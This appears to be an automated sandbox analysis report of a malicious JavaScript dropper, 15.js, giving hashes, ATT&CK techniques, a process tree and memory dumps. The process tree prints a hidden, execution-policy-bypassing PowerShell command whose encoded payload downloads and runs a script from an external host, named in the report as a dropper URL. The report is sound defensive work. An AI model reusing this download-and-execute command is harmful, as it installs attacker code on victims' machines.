e632c7853782a7d4251f761a03037ca33e2421b2bec28d4afefb8ae516460c88

Analysis

max time kernel
150s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
14-10-2023 03:57

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General

Target

½ļ/15.js
Size

31KB
MD5

f3df9c96c3f90fb7bf5ffb9320820582
SHA1

0b7df9e161f222d97ea3f1d883905b9e7a9cdb8a
SHA256

13b0a2053f919fed877fb4ecb4cae691265456d59d2b871350512378fc847eb1
SHA512

9637e6c478d20c2837004d16e4c5f0643433cddc01f54a42bdedbbbcb8132bdcceb7327e5f8b816819f929336683f638189c7b263fb91847bda279f7966c0c94
SSDEEP

384:cEuWtagf971+6eCbrsBc3hlK5M1j2JBvlg/UjubUYDFQJ9W6qBwkosZjN:cCNA6etc3kGClWpbpx4W6Mwkh

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pipecoasia.com/f1.ps1

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4160	powershell.exe
4160	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4160	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 3032	1988	wscript.exe	86
PID 1988 wrote to memory of 3032	1988	wscript.exe	86
PID 3032 wrote to memory of 4160	3032	cmd.exe	90
PID 3032 wrote to memory of 4160	3032	cmd.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\½ļ\15.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c PowErshell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBwAGkAcABlAGMAbwBhAHMAaQBhAC4AYwBvAG0ALwBmADEALgBwAHMAMQAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowErshell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBwAGkAcABlAGMAbwBhAHMAaQBhAC4AYwBvAG0ALwBmADEALgBwAHMAMQAiACkA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zduykf3z.von.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4160-12-0x000002AF98340000-0x000002AF98362000-memory.dmp

Filesize
136KB

Download
memory/4160-13-0x00007FF931D80000-0x00007FF932841000-memory.dmp

Filesize
10.8MB

Download
memory/4160-14-0x000002AF98300000-0x000002AF98310000-memory.dmp

Filesize
64KB

Download
memory/4160-15-0x000002AF98300000-0x000002AF98310000-memory.dmp

Filesize
64KB

Download
memory/4160-16-0x00007FF931D80000-0x00007FF932841000-memory.dmp

Filesize
10.8MB

Download
memory/4160-17-0x000002AF98300000-0x000002AF98310000-memory.dmp

Filesize
64KB

Download
memory/4160-18-0x000002AF98300000-0x000002AF98310000-memory.dmp

Filesize
64KB

Download
memory/4160-19-0x000002AF98300000-0x000002AF98310000-memory.dmp

Filesize
64KB

Download
memory/4160-22-0x00007FF931D80000-0x00007FF932841000-memory.dmp

Filesize
10.8MB

Download